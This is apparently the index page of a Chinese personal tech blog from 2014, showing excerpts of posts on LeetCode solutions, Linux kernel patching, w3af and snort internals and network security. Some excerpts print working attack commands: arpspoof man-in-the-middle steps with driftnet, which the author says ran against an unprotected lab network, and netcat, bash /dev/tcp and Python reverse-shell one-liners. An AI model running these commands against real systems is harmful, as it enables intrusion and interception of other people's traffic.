发表于
2014-12-21 00:00:00
LeetCode BFS(上)
这里是LeetCode BFS类型前半部分题目：Binary Tree Zigzag Level Order TraversalBinary Tree Level Order TraversalBinary Tree Level Order Traversal IIClone Graph1.Binary Tree Zigzag Level Order TraversalrefGiven a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to right, then right to left for the next level and alternate between).For example:
Given binary tree {3,9,20,#,#,15,7},3
/ \
9 20
/ \
15 7return its zigzag level order traversal as:[
[3],
[20,9],
[15,7]
]structZigZag{TreeNode*node;intlevel;ZigZag(TreeNode*p,intn):node(p),le
...继续阅读
(18)
发表于
2014-12-20 00:00:00
LeetCode DFS(下)
下面是DFS Hard级别题目，只有3个：Populating Next Right Pointers in Each Node IIRecover Binary Search TreeBinary Tree Maximum Path Sum1.Populating Next Right Pointers in Each Node IIrefFollow up for problem "Populating Next Right Pointers in Each Node".
What if the given tree could be any binary tree? Would your previous solution still work?Note:
You may only use constant extra space.
For example,
Given the following binary tree,1
/ \
2 3
/ \ \
4 5 7After calling your function, the tree should look like:1 -> NULL
/ \
2 -> 3 -> NULL
/ \ \
4-> 5 -> 7 -> NULL这个题目Populating
...继续阅读
(12)
发表于
2014-12-19 00:00:00
LeetCode DFS(中下)
下面是DFS Medium级别题目的后5道，列表目录：Convert Sorted Array to Binary Search TreeConvert Sorted List to Binary Search TreeConstruct Binary Tree from Preorder and Inorder TraversalConstruct Binary Tree from Inorder and Postorder TraversalClone Graph1.Convert Sorted Array to Binary Search TreerefGiven an array where elements are sorted in ascending order, convert it to a height balanced BST.将一个升序数组转换成一个高度平衡的二分查找树BST，即AVL树，递归方法很easy.TreeNode*BST(vector#,intstart,intend){if(start>end){returnNULL;}intmid=(start+end)/2;TreeNode*root=newTreeNode(num[mid]);root->left=BST(num,start,mid-1);root->right=BST(num,m
...继续阅读
(23)
发表于
2014-12-18 00:00:00
LeetCode DFS(中)
发表于
2014-12-18 00:00:00
LeetCode DFS(上)
LeetCode上目前关于DFS的题目有19个，其中有18道是二叉树相关的，只有一道是图方面的。DFS系列解题报告按难度分为上中下三部分，下面是第一部分Easy.TreeNode结构structTreeNode{intval;TreeNode*left;TreeNode*right;TreeNode(intx):val(x),left(NULL),right(NULL){}};1.Symmetric TreerefGiven a binary tree, check whether it is a mirror of itself (ie, symmetric around its center).For example, this binary tree is symmetric:1
/ \
2 2
/ \ / \
3 4 4 3But the following is not:1
/ \
2 2
\ \
3 3Recursive Solutionboolmirror(TreeNode*l,TreeNode*r){if(!l||!r){returnl==r;}returnl->val==r->val&&mirror;(l->left,r->right)&&mirror;(l->right,r->
...继续阅读
(16)
发表于
2014-12-17 00:00:00
LeetCode回文数题目集锦
做LeetCode题目有3周了，完成了113/166，感觉LeetCode最大的特点就是题目简洁，不像Codeforces, CodeChef等，在进入正题之前先说个小故事，对我这样英语不好的人，理解题意就要半天，其次LeetCode比较规范，定义好了函数接口。以前总是搞C, Python, 这段时间也熟悉了C++ STL。下面总结一下LeetCode上的回文数(Palindrome Number)题目，总共有5道，涵盖回溯、动态规划等算法。1.Valid PalindromerefGiven a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.For example,"A man, a plan, a canal: Panama" is a palindrome."race a car" is not a palindrome.Note:Have you consider that the string might be empty? This is a good question to ask during an interview.For the purpose of this problem, we define empt
...继续阅读
(33)
发表于
2014-12-04 00:00:00
指针引用应用场景
在leetcode刷题时，有一个链表加法的问题，我用指针引用技术减少了代码冗余。Add Two Numbers原题==>Add Two Numbers题目比较简单，在函数中我不想修改参数指针l1,l2,所以在3个地方用到了创建新节点，并插入到结果链表尾部：链表l1和l2和重叠部分；较长的链表尾部；最高位可能有进位；对应着下面代码的1，2，3位置的insert()函数调用，很明显代码冗余，所以剥离出一个insert函数。我写的第一个版本的insert函数是void insert(ListNode *head, ListNode *p, int value, int &r;);leetcode上提交是Wrong Answer, 实际输出为空，也就是说addTwoNumbers()返回了个空指针。
我很快定位到了insert函数的两个指针参数问题，ListNodehead 这种格式的参数在函数中只能通过 *head =x；来修改head指针所指向的内存中的值，
不能修改head本身的值，而insert函数中我恰恰修改了指针本身的值(head=p=node)，解决方法就是将指针参数改成指针引用参数：void insert(ListNode* &head;, ListNode* &p;, int value, int &r;)改成下面形式就更好理解了typedef ListNode* L
...继续阅读
(12)
发表于
2014-11-30 00:00:00
月底总结
这里是evernote中近3个月来的零碎笔记，没有时间先后之分。多么痛的领悟当我写完一个矩阵运算库之后，我发现了boost matrix;当我写完一个监听神器之后，我发现了driftnet, dsniff, cain and abel;高手是怎样练成的入门阶段，这个时候要学习别人的东西，经典的东西，不要自己独立钻研，如果独自钻研类似于“再创新”
，再创新就不是创新，因为这是别人已经提出或者创造出来了的。这个阶段快速成长的秘诀就是学习前人经验，少走弯路;提高阶段，当你入门以后，渐渐对某一领域熟悉之后，就要突破陈规，进行创新。不要完全模仿一个牛人，
如果你和他的技能完全一样，在同一个环境下，你的价值就无法完全体现，你要做一个非替代品，公司少了你不能运转，少了你损失巨大。兴趣&耐心，兴趣可以弥补耐心的不足，只有沉下心来，好好研究一个东西时，才有希望取得成果，切忌急功近利。这个时间不可能只是几天，也不会是几周，它可能是几个月，甚至是几年。社会的进步就是源于此，后人在前人经验的基础上再学习，再总结经验，一个循环迭代增加的过程。牛顿站在巨人的肩膀上，你为什么不站，傻X吗?授之以渔高效工作的信息搜集及管理术
http://heidixie.blog.sohu.com/247551250.html如何快速入门一个陌生知识领域
http://www.zreading.cn/archives/4604
...继续阅读
(14)
发表于
2014-11-26 00:00:00
arpspoof and dnsspoof
最近搞了一个监听神器，尽管使用了网卡混杂模式，不过监听到的几乎全是本地流量，
为了获取更多有用的数据，搞一下中间人攻击，最基本的就是arpspoof + IP转发，这样就可以获得局域网内任何人的上网流量，
难得的是实验室没有做ARP防护，给arpspoof一个大行其道的机会。arpspoof实战环境攻击者(kali linux)：10.10.10.1攻击目标：10.10.10.2默认网关：10.10.10.254攻击步骤首先在本地开启IP转发，否则很容易被发觉。echo 1 >> /proc/sys/net/ipv4/ip_forward用man arpspoof查看参数详细说明首先跟10.10.10.2说我是网关10.10.10.254arpspoof -i eth0 -t 10.10.10.2 10.10.10.254然后跟网关10.10.10.254说我是10.10.10.2，完成双向欺骗arpspoof -i eth0 -t 10.10.10.254 10.10.10.2上面两条arpspoof指令可以用下面一个指令完成arpspoof -i eth0 -t 10.10.10.2 -r 10.10.10.254最后利用driftnet工具捕获并友好地显示10.10.10.2在网上浏览的图片driftnet -i eth0REFdnsspoof攻击环境攻击者(kali lin
...继续阅读
(47)
发表于
2014-11-15 00:00:00
最近一些思想碎片
前些日子忙着项目验收，最近忙着整理成果，好久没有写文章了，下面主要是一些认知上的改变。总结整理将零散的程序串联起来，形成一个产品，完成升华。这几天我在将网络流量相关的程序集成在一块，并用QT弄了个界面。当今不再是单打独斗的时代，成功更多的是靠团队，这是一个广泛认同的观点，这里个人是单位，团队是整体。
将每个人的想法看作最小单位，个人（有很多想法）看作整体，那么一个取得最大化的成就，也得靠很多想法串联结合起来。一般来看，串联好多想法的主线是兴趣爱好。表现自己表现自己 ≠ 吹牛逼，表现自己是将自己的能力展现给别人，包括文档和语言，即写文档能力和口头表达能力。做一个产品，将产品最好的一面展现给别人，GUI是最好的方式 。创业找投资靠啥，产品是重要因素，但创始人的表达忽悠能力更重要，要不然，谁知道你做的东西有多牛逼。不做码农脑子用少了就变成了体力劳动编程看起来是个脑力劳动，如果实现之前不仔细想想，很可能迷失在茫茫代码之中，最后变成一项体力劳动。实现同样的功能，有人用50行代码，有人可能要用500行代码，这就是差距。软件测试编程不熟练的人，做项目建议不要使用C/C++，内存溢出和泄露是经常出没的。如果性能要求不高，尽量使用标准库和第三方库（如STL），而且这些库的性能甚至比你自己写的性能还要好，
有新的功能需求，先想想用这些库怎么实现，你要是想练手，请多测试一下自己的代码，别给自己找麻烦。不
...继续阅读
(20)
发表于
2014-10-24 00:00:00
nc高级用法
nc实现后门在《reverse shell原理》讲过用bash和python实现reverse shell的原理.1.正向受害机：nc -l -p 3333 -e /bin/bash攻击机：nc targetip 3333有的版本不能同时使用-l和-p选项，这时只使用-p选项指定端口就可以建立监听。2.反向攻击机：nc -l -vv -p 3333受害机：nc -e /bin/bash targetip 3333nc端口转发1. listener-to-client模式用于外网访问内网$ mkfifo backpipe
$ nc -l -p [localport] 0< backpipe | nc [target ip] [port] | tee backpipemkfifo命令是创建一个先进先出的管道文件，具体见后面。
nc命令分解一下，如下：nc -l -p [localport] 0< backpipe在本地localport端口监听TCP 连接，记为一个socket-1，socket-1从标准输入0读取数据并发送向TCP连接的另一端，socket-1从另一端收到的数据写到标准输出1，将backpipe文件内容重定向到标准输入0，通过管道将socket-1的收到的数据重定向到命令nc [target ip] [port]作为其标准输入，这条命令也会建立一个连接，记为socke
...继续阅读
(40)
发表于
2014-10-23 00:00:00
数据包构造工具Hping2实战
hping简介hpingis a command-line oriented TCP/IP packet assembler/analyzer.用途有下：Firewall testingAdvanced port scanningNetwork testing, using different protocols, TOS, fragmentationManual path MTU discoveryAdvanced traceroute, under all the supported protocolsRemote OS fingerprintingRemote uptime guessingTCP/IP stacks auditinghping can also be useful to students that are learning TCP/IP.hping实战在ubuntu中编译的hping2-rc3版本hping -h打印出的第一行就指出了目的主机参数的位置hping host [options]向10.10.10.10发送数据包hping 10.10.10.10如果没有指定任何参数，它会向10.10.10.10的0号端口以每秒1个包的速率一直运行向10.10.10.10发送10个包hping 10.10.10.10 -c 10执行的功能是从本地一个随机端口向10
...继续阅读
(34)
发表于
2014-10-19 00:00:00
发表于
2014-10-16 00:00:00
通过配置文件修改屏幕分辨率
ubuntu 9.10下编译内核时，在执行make menuconfig时，由于屏幕太小，导致打不开配置菜单，屏幕有多小，小的连打开System->Preferences->Display看不到'Apply'按键，所以只能通过修改配置文件来完成了配置步骤suvi /etc/default/grub找到行： #GRUB_GFXMODE=640×480去掉注释符#vi /etc/grub.d/00_header找到行：set gfxmode=${GRUB_GFXMODE}在下面添加新行：set gfxpayload=keepupdate-grubreboot
...继续阅读
(21)
发表于
2014-10-14 00:00:00
编译Linux内核实战
任务给Linux-2.6.22.6内核打上一个定制的补丁laminar-os.path，编译内核。思路首先对Linux-2.6.22版内核打两个补丁patch-2.6.22.6和laminar-os.patch，生成内核linux-2.6.22.6;然后编译linux-2.6.22.6;打补丁1.下载内核从Linus的Github上下载base kernel 2.6.22版本：linux-2.6.22.tar.gz2.下载补丁下载patch-2.6.22.6，在kernel.org网站上没有找到，使用google找到的一个下载地址patch-2.6.22.6.bz23.打补丁cd ~
bunzip2 patch-2.6.22.6.bz2
tar xvf linux-2.6.22.tar.gz
cd linux-2.6.22
patch -p1 < ../patch-2.6.22.6
patch -p1 < ../laminar-os.patch
cd ..
mv linux-2.6.22 linux-2.6.22.6
tar -czf linux-2.6.22.6.tar.gz linux-2.6.22.6/编译内核环境：32位的ubuntu12.04-desktop虚拟机1.配置内核tar -zvf linu
...继续阅读
(82)
发表于
2014-10-13 00:00:00
如何给Linux内核打补丁
Linux Kernel邮件列表上问的最多的一个问题就是：如何给Linux内核打补丁，更具体点就是，诸多trees/branches的一个补丁应该应用于哪个base kernel。希望这个文档能帮你解答这些疑问。本文除了介绍如何打补丁以及撤销补丁，还介绍了不同的内核树。什么是补丁？补丁就是一个文本文件，该文件包含了一个源码树的两个不同版本之间增量变化。补丁文件是由diff命令创建的。为了正确打一个补丁，你需要知道这个补丁是从哪个根(base)产生的，以及这个补丁会使源码树升级成哪个版本。这些应该是出现在补丁文件的元数据(metadata)，或者可以从文件名来推断。如何应用和撤销补丁？通过patch命令应用一个补丁，patch命令读取一个diff/patch文件，根据文件中的描述信息来改变源码树。Linux内核补丁相对于包含内核源码目录的目录生成。这表示补丁文件中的文件路径包含内核源代码目录名字（或者其它目录名如'a/'和'b/'）.由于它不太可能匹配你本地内核源码目录的名字（但通常是非常有用的信息，用来查看生成补丁的版本），你应该进入你的内核源码目录，然后过滤掉补丁文件中的所有文件名路径的第一个元素（patch命令的 -p1选项有这个功能）。如果要撤销当前已经打好的补丁，使用patch命令的 -R选项。
所以，如果你使用如下命令打补丁：patch -p1 < ../patch-x.
...继续阅读
(127)
发表于
2014-10-12 00:00:00
15步编译Linux内核
Linux内核是Linux系统的核心。它管理用户输入/输出，硬件，并且控制计算机的电源。通常Linux发行版使用的内核功能是丰富全面的（sufficient，可理解为面向大众的，功能丰富全面，有很多功能对你都没有用处），这允许你定制自己的专业内核！步骤1.下载最新的Linux内核版本http://www.kernel.org(http://www.kernel.org "下载Linux内核").2.确保下载的源码是完整的，点击'Latest stable vesion is..'，否则你下载到的可能只是补丁，当你的当前内核版本的补丁号较低时，可以打补丁，例如3.4.4.1>>3.4.4.2。Linux内核版本号含义
Linux的版本号分为两部分，即内核版本与发行版本。内核版本号由3个数字组成：r.x.y.z。
r：目前发布的内核主版本。
x：偶数表示稳定版本；奇数表示开发中版本。
y：错误修补的次数。
z：当前版本微调patch的次数。
一般来说，x位为偶数的版本是一个可以使用的稳定版本，如2.4.4；x位为奇数的版本一般加入了一些新的内容，不一定很稳定，是测试版本，如2.1.111。3.确保你下载的是完整的源码，而不是补丁或者变更日志。4.下载完成后，打开一个终端terminal.5.解压内核压缩包，使用如下命令：
``
...继续阅读
(6)
发表于
2014-10-12 00:00:00
15步编译Linux内核
Linux内核是Linux系统的核心。它管理用户输入/输出，硬件，并且控制计算机的电源。通常Linux发行版使用的内核功能是丰富全面的（sufficient，可理解为面向大众的，功能丰富全面，有很多功能对你都没有用处），这允许你定制自己的专业内核！步骤1.下载最新的Linux内核版本http://www.kernel.org(http://www.kernel.org "下载Linux内核").2.确保下载的源码是完整的，点击'Latest stable vesion is..'，否则你下载到的可能只是补丁，当你的当前内核版本的补丁号较低时，可以打补丁，例如3.4.4.1>>3.4.4.2。Linux内核版本号含义
Linux的版本号分为两部分，即内核版本与发行版本。内核版本号由3个数字组成：r.x.y.z。
r：目前发布的内核主版本。
x：偶数表示稳定版本；奇数表示开发中版本。
y：错误修补的次数。
z：当前版本微调patch的次数。
一般来说，x位为偶数的版本是一个可以使用的稳定版本，如2.4.4；x位为奇数的版本一般加入了一些新的内容，不一定很稳定，是测试版本，如2.1.111。3.确保你下载的是完整的源码，而不是补丁或者变更日志。4.下载完成后，打开一个终端terminal.5.解压内核压缩包，使用如下命令：
``
...继续阅读
(6)
发表于
2014-10-11 00:00:00
reverse shell原理
RevSh简介当你需要远程控制一台服务器时，这个服务器有防火墙保护着，阻止外来的TCP连接，这时就需要Reverse Shell技术，reverse shell技术如其名，也叫逆向shell，反弹shell，也在就是说在服务器端发起TCP连接，当连接建立成功后，你就获得服务器的一个shell，可以操纵远程服务器。从上述过程可以看出，如何能让远程服务器执行一些代码，我们就可以控制它，进入正题，如果服务器存在缓冲区溢出、代码注入等漏洞，攻击者可以很容易的黑掉服务器。RevSh实例Attacker: 192.168.0.1Victim: 192.168.0.2Attacker使用nc在端口1234建立一个服务器端，监听TCP连接请求;nc -l -p 1234Victim在终端执行如下命令bash -i >& /dev/tcp/192.168.0.1/1234 0>&1结果Attacker成功获得一个Victim的shell.RevSh原理bash不是很熟悉，看一个Python版本的reverse shell:Python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",1234));os.dup2(s.fileno(),
...继续阅读
(82)
发表于
2014-09-22 00:00:00
w3af学习笔记（四）
本文分析了w3af的xss插件，旨在理解w3af检测xss漏洞的原理。一、预备知识1.XSS当应用程序收到含有不可信的数据，在没有进行适当的验证和转义的情况下，就将它发送给一个网页浏览器，这就会产生跨站脚本攻击（简称XSS）。XSS允许攻击者在受害者的浏览器上执行脚本，从而劫持用户会话、危害网站、或者将用户转向至恶意网站。（参考：OWASP TOP 10 中文v1.2）2.audit对于审计（audit）的理解，审计就是找漏洞。代码审计是一种白盒测试方法，从源代码中发现漏洞；w3af中使用的audit，是一种黑盒测试方法，从外部寻找漏洞。3.payload有效载荷（payload）通常指的恶意代码执行破坏性操作的部分，在w3af中指的是包含特殊字符的测试字符串，用来检验这些特殊字符是否被过滤等，并非执行恶意操作。4.fuzzing模糊测试（fuzzing, fuzz testing）是一种基于缺陷注入的自动软件测试技术。通过编写fuzzer工具向目标程序提供某种形式的输入并观察其响应来发现问题，这种输入可以是完全随机的或精心构造的，为了寻找软件缺陷，主要是构造畸形数据。Fuzzer工具能很好的检测出可能导致程序崩溃的问题，如缓冲区溢出、跨站点脚本、拒绝服务攻击、格式漏洞和SQL注入。w3af中有一个FuzzableRequest类，该类灵活表示了一个http 请求包。5.mutan
...继续阅读
(69)
发表于
2014-09-13 00:00:00
w3af学习笔记（三）
本文以menu切换，插件加载与启动为主线，分析w3af源代码中函数调用和各类之间的继承与组合关系，阅读之前请先有一个DFS（深度优先遍历）的准备。一、menu切换1.menu类继承关系objectmenurootMenupluginsMenupluginsTypeMenuConfigMenuprofilesMenubug_report_menukbMenuexploit2.w3af>>plugins执行过程输入plugins+回车之后，指令从ConsoleUI类的sh()方法依次执行：self.onEnter()->self.execute()->self._context.execute()为了分析清楚类之间的关系，下文统一将self替换成类的名字，如果实例对象对分析过程有影响，会特别标出对象名字。sef._context，在sh()中初始化时是rootMenu类的实例，顾名思义，context是一个上下文，它会随着程序的执行而变化，具体的说它会随着w3af shell提示符的变化而变化，从回车之后，一步一步深入分析下去，过程如下。ConsoleUI.onEnter()->ConsoleUI.execute()->rootMenu.execute()2.1 rootMenu.execute()ConsoleUI._context就是类rootMenu的对象，rootMenu是me
...继续阅读
(63)
发表于
2014-09-05 00:00:00
w3af学习笔记（二）
0.引言本文深入分析了w3af_console启动过程，详细说明了函数调用关系，有助于理解w3af框架。下面是w3af_console入口函数_main()def _main():
_configure_output_manager()
sys.exit(main())1._configure_output_manager深入分析w3af_console执行的第一个函数_configure_output_manager()分析，执行的结果是创建的console对象保存在全局变量om.out中，om.out在main()函数中会用到，如console.sh()。下面用'->'表示调用或继承关系，一步一步的分析到源头。->(file:w3af_console)
_configure_output_manager()
->(file:w3af_console)
om.out.set_output_plugins( ['console'] )
ps: om就是out_manager module; out是类out_manager的一个全局对象,定义在\w3af\core\controllers\out_manager.py中
->(file:\w3af\core\controllers\out_manager.py)
set_output_p
...继续阅读
(15)
发表于
2014-09-03 00:00:00
w3af学习笔记（一）
w3af简介w3af is a Web Application Attack and Audit Framework.即Web应用攻击和审计框架。w3af用python编写，依赖的库主要有2类，分别如下：Core requirements:Python 2.6fpconst-0.7.2：用于处理IEEE 754浮点数;nltk：自然语言处理工具包;SOAPpy：SOAP是简单对象访问协议，是一种交换数据的协议规范，基于XML;pyPdf：处理PDF文档，提取信息，分割/合并页面等；Python bindings for the libxml2library：libxml2是C库，这里是个python中间件Python OpenSSL：实现SSL与TLS的套件，https;json.py：json是一种轻量级的数据交换格式；scapy：可以用来发送、嗅探、解析和伪造网络数据包;pysvn：支持subversion操作；python sqlite3：精简的嵌入式开源数据库，使用一个文件存储整个数据库，没有独立的维护进程，全部由应用程序进行维护，使用特别方便；yappi：支持配置每个线程的CPU时间（https://code.google.com/p/yappi/）Graphical user interface requirements:graphviz：可视化图表graph；pygt
...继续阅读
(263)
发表于
2014-09-02 00:00:00
一个编程技巧
问题规律性的办一件事，如每1小时查询一次更新，每10分钟写一次日志……总结为一句话：每隔一段时间调用一个函数。技巧在看w3af源码时发现一个编程技巧，先看代码#ref：w3af/core/controllers/profiling/utils.py
def dump_data_every_thread(func, delay_minutes, save_thread_ptr):
"""
This is a thread target which every X minutes
"""
func()
save_thread = threading.Timer(delay_minutes * 60,
dump_data_every_thread,
args=(func, delay_minutes, save_thread_ptr))
save_thread.start()
if save_thread_ptr:
# Remove the old one if it exists in the ptr
save_thread_ptr.pop(0)
save_thread_ptr.append(save_thread)在dump_data_every_t
...继续阅读
(17)
发表于
2014-08-20 00:00:00
NineRings游戏
发表于
2014-07-14 00:00:00
Snort预处理插件arpspoof
引言ARP协议为IP地址到硬件地址提供动态映射。
ARP欺骗<==>ARP spoofing<==>ARP病毒<==>ARP poisoning<==>ARP攻击。ARP报文格式|--14字节的以太网头部--|--28字节的ARP请求/应答--|0~1字节：硬件类型
2~3字节：协议类型
4字节：硬件地址长度
5字节：协议地址长度
6~7字节：操作字段op
8~13字节：sender_MAC
14~17字节：sender_IP
18~23字节：target_MAC
24~27字节：target_IPop=1是arp 请求报文，target_MAC无效，为0，MAC层广播报文，MAC层的target_MAC 全ff:ff:ff:ff:ff:ff；op=2是arp 响应报文；ARP欺骗原理ARP缓存表用于存储其它主机或网关的IP地址与MAC地址的对应关系，每台主机、网关都有一个ARP缓存表，ARP缓存表里存储的每条记录实际上就是一个IP地址与MAC地址对，它可以是静态的，也可以是动态的。如果是静态的，那么该条记录不能被ARP应答包修改；如果是动态的，那么该条记录可以被ARP应答包修改。主机在实现ARP缓存表的机制中存在一个缺陷，当主机收到一个ARP应答包后，它并不会去验证自己是否发送过这个ARP请求，而是直接将应答包里的MAC地址与IP对应的关系替换掉原有的ARP缓存表里的相应信息.A
...继续阅读
(36)
发表于
2014-07-14 00:00:00
DNS放大攻击完整过程模拟
发表于
2014-07-01 00:00:00
onestraw失而复得
山穷水尽2014年6月9日，本博客租用虚拟主机出现一次严重故障，导致数据库数据全部丢失，虚拟主机提供商给出的解释是：“磁盘阵列卡报错，向硬盘写入垃圾数据，导致操作系统、文件系统和用户文件出现不同程度不可逆转的损坏。”而本人以前疏于备份，致使近100多篇文章全部丢失！故障发生后，我立即采取了“应急响应”措施：1.首先找到了最后的备份文件，擦，真是疏于备份啊，最后的备份还是在6个月前；2.想到baidu/google的网页快照会缓存网页的内部，马上在搜索引擎中site:onestraw.net查找所有的网页快照，google搜索量是大，但从去年开始网页快照功能就不能用了，没从google恢复一篇文章，失望至极！还是我国产大搜索引擎给力，从baidu恢复了30篇文章；3.从2013年10月开通博客以来，写了近150篇文章，记录着自己的技术成长之路，安慰一下自己，写博客的收获不在文章本身，而是通过写博客，技术和表达能力得到了提高。4.整理一下近半年来写的各种代码，将重要代码托管到github上.5.对虚拟主机完全失去信任，对wordpress这种庞大的博客框架深恶痛绝，尝试过用Github pages搭建静态博客，各种原因也没能成功。峰回路转自从博客丢失之后，就没再写过，一方面是有点小打击，另一方面也是因为忙。近几天，心情好了不少，慢慢的又写起了博客。昨天天看订阅的博客时，随手用Feedl
...继续阅读
(14)
发表于
2014-06-30 00:00:00
Portscan检测工具
0. 引言snort的sfportscan插件将端口扫描分为Portscan, Decoy Portscan, Distributed Portscan, Portsweep四种类型，其中Portscan最简单，也最容易被检测，本文介绍一种检测portscan的思路，并实现一个检测工具。1. portscan检测思路portscan的扫描方式是在短时间内从一台主机scanner扫描另一台主机scanned的大量端口，以便快速获得scanned主机的端口信息(closed, filtered, open).
四元组（src_ip, dst_ip, src_port, dst_port）能唯一的标识一个会话session，正常情况下，两个主机之间的会话数量session_count在短时间内是比较小的，但是当发现portscan类型（一对一）的端口扫描时，这个scanner和scanned的会话数量会增加，而增加的根本原因，是四元组中目的端口dst_port的增加。设定一个时间窗口和阈值，将两两主机之间不同的目的端口的数目(diff_port_cnt)作为统计特征，在这个时间窗口内统计diff_port_cnt，当diff_port_cnt超过阈值时，则判定为portscan.2. 实现为了区分tcp portscan 和udp portscan, 将四元组扩展成五元组（protoco
...继续阅读
(38)
发表于
2014-06-29 00:00:00
snort插件接口规范
0.引言为什么要了解snort插件的接口呢？有3个出发点：一、为snort编写插件；二、从系统架构层面学习接口的设计；三、在明白了snort的插件接口规范之后，可以将某一插件完全剥离出来，更好的研究它；本文是参考snort-2.9.5.5\doc\README.PLUGINS，发现其中有几个错误之处。1.插件组成snort插件分为两类：detection plugins和preprocessors plugins.detections plugins需要有两个文件"sp_something.c", "sp_something.h";preprocessors plugins需要有两个文件"spp_something.c", "spp_something.h";2.增加detection plugin修改1编辑snort-2.9.5.5\src\plugbase.h文件，插入一个头文件#include "sp_something.h"修改2编辑snort-2.9.5.5\src\plugbase.c文件，READ.PLUGINS中写到：在InitPlugins()函数中添加该插件的setup函数。实际上在snort-2.9.5.5版本中没有InitPlugins()函数，应该是 RegisterRuleOptions()函数。修改3编辑snort-2.9.5.5\src\detect
...继续阅读
(43)